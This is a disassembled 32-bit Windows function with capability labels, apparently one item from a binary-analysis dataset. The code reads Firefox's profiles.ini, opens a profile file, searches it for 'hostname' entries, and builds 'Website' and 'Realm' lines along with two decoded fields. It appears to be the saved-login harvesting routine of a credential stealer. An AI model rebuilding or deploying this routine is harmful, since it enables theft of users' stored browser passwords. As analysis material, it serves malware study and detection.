Function at 0x402c60
Capabilities:
Get common file path
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x300
mov eax, dword [0x4b9510]
xor eax, ebp
mov dword [ebp - 4], eax
mov dword [ebp - 0x154], str.ENCWCHAR__sMozillaFirefoxprofiles.ini
lea eax, [ebp - 0x138]
mov dword [ebp - 0x13c], eax
mov dword [ebp - 0x298], 0
jmp 0x402ca4
mov ecx, dword [ebp - 0x298]
add ecx, 1
mov dword [ebp - 0x298], ecx
cmp dword [ebp - 0x298], 1
jae 0x402ce3
push 0x96
mov edx, dword [ebp - 0x298]
mov eax, dword [ebp + edx*4 - 0x13c]
push eax
push 0
push 8
mov ecx, dword [0x4bb3e8]
push ecx
mov edx, dword [ebp - 0x298]
mov eax, dword [ebp + edx*4 - 0x154]
push eax
call fcn.0040b370
add esp, 0x18
jmp 0x402c95
mov dword [ebp - 0x148], 0x4a6954
mov dword [ebp - 0x144], str.ENCCHAR__SMozillaFirefox_S
lea ecx, [ebp - 0x290]
mov dword [ebp - 0x150], ecx
lea edx, [ebp - 0x1f0]
mov dword [ebp - 0x14c], edx
mov dword [ebp - 0x29c], 0
jmp 0x402d2a
mov eax, dword [ebp - 0x29c]
add eax, 1
mov dword [ebp - 0x29c], eax
cmp dword [ebp - 0x29c], 2
jae 0x402d68
push 0x96
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp + ecx*4 - 0x150]
push edx
push 0
push 7
mov eax, dword [0x4bb3ec]
push eax
mov ecx, dword [ebp - 0x29c]
mov edx, dword [ebp + ecx*4 - 0x148]
push edx
call fcn.0040b6e0
add esp, 0x18
jmp 0x402d1b
mov dword [ebp - 0x1f4], 0
mov dword [ebp - 0x294], 0
mov dword [ebp - 0x140], 0
push 0x30d40
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0
je 0x40344b
mov dword [ebp - 0x2a0], 0
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2a0], eax
cmp dword [ebp - 0x2a0], 0
je 0x40344b
mov dword [ebp - 0x2a4], 0
push 0x2710
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2a4], eax
cmp dword [ebp - 0x2a4], 0
je 0x40343e
lea eax, [ebp - 0x2a8]
push eax
push 0
push 0
push 0x4ae550
call sub.SHELL32.dll_SHGetKnownFolderPath
test eax, eax
jne 0x403407
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
je 0x4033fa
mov ecx, dword [ebp - 0x2a8]
push ecx
lea edx, [ebp - 0x138]
push edx
push 0x7fff
mov eax, dword [ebp - 0x2ac]
push eax
call fcn.004930ae
add esp, 0x10
push 0xfffe
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2b0], eax
cmp dword [ebp - 0x2b0], 0
je 0x4033ed
mov ecx, dword [ebp - 0x2ac]
push ecx
push 0x7fff
mov edx, dword [ebp - 0x2b0]
push edx
push 0
push 0x4a698c
mov eax, dword [ebp + 8]
push eax
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringW]
mov ecx, dword [ebp - 0x2b0]
movzx edx, word [ecx]
test edx, edx
je 0x4033e0
push 0x7fff
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2b4], eax
cmp dword [ebp - 0x2b4], 0
je 0x4033e0
mov eax, dword [ebp - 0x2b0]
push eax
mov ecx, dword [ebp - 0x2a8]
push ecx
lea edx, [ebp - 0x1f0]
push edx
push 0x7fff
mov eax, dword [ebp - 0x2b4]
push eax
call fcn.004936c6
add esp, 0x14
mov ecx, dword [ebp - 0x2b4]
push ecx
call dword [0x4ba84c]
add esp, 4
test eax, eax
jne 0x4033e0
push 0x7fff
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2b8], eax
cmp dword [ebp - 0x2b8], 0
je 0x4033da
mov edx, dword [ebp - 0x2b4]
push edx
lea eax, [ebp - 0x290]
push eax
push 0x7fff
mov ecx, dword [ebp - 0x2b8]
push ecx
call fcn.004936c6
add esp, 0x10
mov dword [ebp - 0x2d0], 0
mov dword [ebp - 0x2d4], 0
mov dword [ebp - 0x2cc], 0
push 0
push 0
push 3
push 0
push 0
push 0x80000000
mov edx, dword [ebp - 0x2b8]
push edx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x2c8], eax
cmp dword [ebp - 0x2c8], 0xffffffff
je 0x4033cd
push 0
mov eax, dword [ebp - 0x2c8]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [ebp - 0x2d0], eax
cmp dword [ebp - 0x2d0], 0xffffffff
je 0x4033c0
mov ecx, dword [ebp - 0x2d0]
add ecx, 1
push ecx
push 0x40
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov dword [ebp - 0x2bc], eax
cmp dword [ebp - 0x2bc], 0
je 0x4033c0
mov edx, dword [ebp - 0x2bc]
add edx, dword [ebp - 0x2d0]
mov byte [edx], 0
mov eax, dword [ebp - 0x2bc]
add eax, dword [ebp - 0x2d0]
mov dword [ebp - 0x2d4], eax
push 0
lea ecx, [ebp - 0x2d8]
push ecx
mov edx, dword [ebp - 0x2d0]
push edx
mov eax, dword [ebp - 0x2bc]
push eax
mov ecx, dword [ebp - 0x2c8]
push ecx
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov edx, dword [ebp - 0x2d8]
cmp edx, dword [ebp - 0x2d0]
jne 0x4033c0
push str.hostname
mov eax, dword [ebp - 0x2bc]
push eax
call fcn.00409230
add esp, 8
mov dword [ebp - 0x2c4], eax
cmp dword [ebp - 0x2c4], 0
je 0x4033c0
mov dword [ebp - 0x2f8], 1
mov dword [ebp - 0x2e4], 1
mov dword [ebp - 0x2f4], 1
push 0x4a69a4
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x140]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 8
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov ecx, dword [ebp - 0x2c4]
push ecx
call fcn.004023b0
add esp, 4
mov dword [ebp - 0x2ec], eax
mov edx, dword [ebp - 0x2c4]
push edx
call fcn.00402580
add esp, 4
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x2c4]
push eax
call fcn.00402740
add esp, 4
mov dword [ebp - 0x2f0], eax
cmp dword [ebp - 0x2e8], 0
je 0x403130
mov ecx, dword [ebp - 0x2e8]
push ecx
push 0x4a69ac
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x140]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x2f8], 0
jmp 0x403174
cmp dword [ebp - 0x2ec], 0
je 0x403174
mov edx, dword [ebp - 0x2ec]
push edx
push str.Website:__S_r_n
mov eax, dword [ebp - 0x1f4]
mov ecx, dword [ebp - 0x140]
lea edx, [ecx + eax*2]
push edx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x2f8], 0
cmp dword [ebp - 0x2f0], 0
je 0x4031ae
mov eax, dword [ebp - 0x2f0]
push eax
push str.Realm:__S_r_n
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x140]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov ecx, dword [ebp - 0x2c4]
push ecx
call fcn.00402900
add esp, 4
mov dword [ebp - 0x2dc], eax
cmp dword [ebp - 0x2dc], 0
je 0x40326e
mov edx, dword [ebp - 0x2dc]
push edx
call fcn.00403470
add esp, 4
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0
je 0x403261
push 0x2710
push 0
mov eax, dword [ebp - 0x2a0]
push eax
call fcn.00493180
add esp, 0xc
push 0x12c
mov ecx, dword [ebp - 0x2a0]
push ecx
push 0xffffffffffffffff
mov edx, dword [ebp - 0x2fc]
push edx
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov eax, dword [ebp - 0x2a0]
push eax
push 0x4a69fc
mov ecx, dword [ebp - 0x1f4]
mov edx, dword [ebp - 0x140]
lea eax, [edx + ecx*2]
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x2e4], 0
mov ecx, dword [ebp - 0x2dc]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x2c4]
push edx
call fcn.00402ab0
add esp, 4
mov dword [ebp - 0x2e0], eax
cmp dword [ebp - 0x2e0], 0
je 0x40332e
mov eax, dword [ebp - 0x2e0]
push eax
call fcn.00403470
add esp, 4
mov dword [ebp - 0x300], eax
cmp dword [ebp - 0x300], 0
je 0x403321
push 0x2710
push 0
mov ecx, dword [ebp - 0x2a4]
push ecx
call fcn.00493180
add esp, 0xc
push 0x12c
mov edx, dword [ebp - 0x2a4]
push edx
push 0xffffffffffffffff
mov eax, dword [ebp - 0x300]
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
mov ecx, dword [ebp - 0x2a4]
push ecx
push 0x4a6a1c
mov edx, dword [ebp - 0x1f4]
mov eax, dword [ebp - 0x140]
lea ecx, [eax + edx*2]
push ecx
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0xc
add eax, dword [ebp - 0x1f4]
mov dword [ebp - 0x1f4], eax
mov dword [ebp - 0x2f4], 0
mov edx, dword [ebp - 0x2e0]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x2ec], 0
je 0x403344
mov eax, dword [ebp - 0x2ec]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x2e8], 0
je 0x40335a
mov ecx, dword [ebp - 0x2e8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x2f0], 0
je 0x403370
mov edx, dword [ebp - 0x2f0]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
cmp dword [ebp - 0x2f8], 0
jne 0x40338b
cmp dword [ebp - 0x2e4], 0
jne 0x40338b
cmp dword [ebp - 0x2f4], 0
je 0x40338d
jmp 0x4033c0
mov eax, dword [ebp - 0x2c4]
add eax, 1
mov dword [ebp - 0x2bc], eax
mov ecx, dword [ebp - 0x294]
add ecx, 1
mov dword [ebp - 0x294], ecx
mov edx, dword [ebp - 0x2bc]
cmp edx, dword [ebp - 0x2d4]
jb 0x4033bb
jmp 0x4033c0
jmp 0x40303c
mov eax, dword [ebp - 0x2c8]
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [ebp - 0x2b8]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
call dword [0x4bb390]
mov edx, dword [ebp - 0x2b0]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov eax, dword [ebp - 0x2ac]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x2a8]
push ecx
call dword [sym.imp.ole32.dll_CoTaskMemFree]
cmp dword [ebp - 0x294], 0
jne 0x403431
mov edx, dword [ebp - 0x140]
push edx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov dword [ebp - 0x140], 0
mov dword [ebp - 0x1f4], 0
mov eax, dword [ebp - 0x2a4]
push eax
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0x2a0]
push ecx
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov edx, dword [ebp - 0x1f4]
shl edx, 1
mov eax, dword [ebp + 0xc]
mov dword [eax], edx
mov eax, dword [ebp - 0x140]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004931fa
mov esp, ebp
pop ebp
ret